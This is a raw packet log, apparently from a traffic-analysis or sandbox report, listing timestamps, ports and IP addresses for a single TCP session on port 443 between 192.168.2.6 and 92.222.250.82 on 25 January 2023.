Jan 25, 2023 21:04:35.308490038 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.308501959 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.308511019 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.308733940 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.308744907 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.308840990 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.308856010 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.308974981 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.309050083 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.491344929 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.491389036 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.491442919 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.491604090 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.494882107 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.494905949 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.494944096 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.494968891 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.495207071 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.495220900 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.495382071 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.495395899 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.495424032 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.495527983 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.576766014 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.576805115 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.576849937 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.577023983 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.580322027 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.580332041 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.580357075 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.580382109 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.580570936 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.580583096 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.580743074 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.580754995 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.580806017 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.580876112 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.697912931 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.697953939 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.697988033 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.698116064 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.698175907 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.701613903 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.701633930 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.701664925 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.701692104 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.701858997 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.701869011 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.702069044 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.702084064 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.702119112 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.702250004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.712492943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.712521076 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.712548018 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.712688923 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.714431047 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.714446068 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.714473009 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.714504004 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.714524984 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.714668989 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.714873075 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.714884996 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.714951038 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.715044975 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.807583094 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.807629108 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.807667971 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.807810068 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.807883024 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.809999943 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.810023069 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.810055017 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.810087919 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.810117006 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.810266018 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.810509920 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.810527086 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.810606956 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.810692072 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.833867073 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.833900928 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.833936930 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.834043980 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.834089994 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.835918903 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.835936069 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.835959911 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.835994005 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.836018085 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.836111069 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.836319923 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.836429119 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.836441994 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.836560965 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.849478960 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.849600077 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.849704981 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.849850893 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.849916935 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.851572990 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.851588011 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.851671934 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.851792097 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.851912975 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.852032900 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.852032900 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.852032900 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.852099895 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:35.852111101 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:35.852181911 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.058746099 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.058939934 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.119987965 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.120018959 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.120042086 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.120054960 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.120121002 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.120132923 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.120227098 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.120239019 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.120286942 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.326842070 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.327009916 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:36.746737957 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:36.746923923 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.381989002 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382049084 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382082939 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382216930 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382237911 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382261992 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382277012 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382360935 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382380962 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382415056 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382426023 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382452965 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382503986 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382519960 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382550955 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382592916 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382610083 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382623911 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382667065 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382679939 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382689953 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.382775068 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382775068 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382904053 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.382930040 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.383021116 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.459173918 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.459235907 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.459503889 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.573254108 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.573302031 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.573327065 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.573358059 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.573385000 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.573467970 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.573679924 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.573697090 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.573800087 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.573817015 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.573879004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.573932886 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.778742075 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.778873920 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.799160957 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.799226999 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.799424887 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.802856922 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.802891970 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.802927017 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.802962065 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.802977085 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.803039074 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.803059101 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.803271055 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.803303003 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.803328991 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.803375006 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.803390980 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.803442001 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.803586006 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.921581030 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.921646118 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.921842098 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.923326015 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.923373938 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.923407078 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.923444986 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.923480034 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.923540115 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.923849106 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.923887968 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.923933983 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.923952103 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.924124002 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.924192905 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.937087059 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.937153101 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.937402964 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.938956022 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.938992977 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.939102888 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.939296007 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.939378977 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.939441919 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.939443111 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.939503908 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.939642906 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.939800978 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.939836979 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.940112114 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.957119942 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.957176924 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.957425117 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.959506989 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.959527969 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.959543943 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.959568024 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.959593058 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.959645987 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.959656954 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.959960938 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.959973097 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.960108995 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.960122108 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.960160971 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.960283041 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.993324041 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.993379116 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.993575096 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.995184898 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.995223045 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.995265961 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.995300055 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.995323896 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.995554924 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.995737076 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.995759010 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:37.995965004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:37.995965004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.008464098 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.008522034 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.008560896 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.008668900 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.011046886 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.011071920 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.011106968 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.011132956 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.011156082 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.011379957 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.011518955 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.011581898 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.011594057 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.011694908 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.024243116 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.024288893 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.024317026 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.024456978 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.024518013 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.027036905 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.027076006 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.027120113 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.027148008 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.027179003 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.027326107 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.027611017 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.027739048 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.027757883 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.027858973 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.048089027 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.048125982 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.048147917 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.048254013 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.048314095 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.050048113 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.050067902 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.050093889 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.050118923 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.050137043 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.050276995 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.050492048 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.050595999 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.116561890 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.116610050 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.116641045 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.116753101 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.116808891 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.119201899 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.119232893 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.119261980 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.119290113 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.119311094 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.119437933 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.119669914 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.119791031 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.131576061 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.131620884 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.131648064 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.131752968 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.131822109 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.133476019 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.133516073 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.133550882 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.133589029 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.133615971 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.133718014 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.133927107 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.134027004 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.151932955 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.151957989 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.151993990 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.152091026 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.152163029 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.154293060 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.154306889 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.154335976 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.154361010 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.154386997 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.154489994 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.154838085 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.154974937 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.155013084 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.168227911 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.168267965 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.168292046 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.168375015 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.168468952 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.171766043 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.171801090 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.171827078 CET	443	49716	92.222.250.82	192.168.2.6
Jan 25, 2023 21:04:38.172240973 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.172274113 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.183404922 CET	49716	443	192.168.2.6	92.222.250.82
Jan 25, 2023 21:04:38.185364008 CET	49716	443	192.168.2.6	92.222.250.82
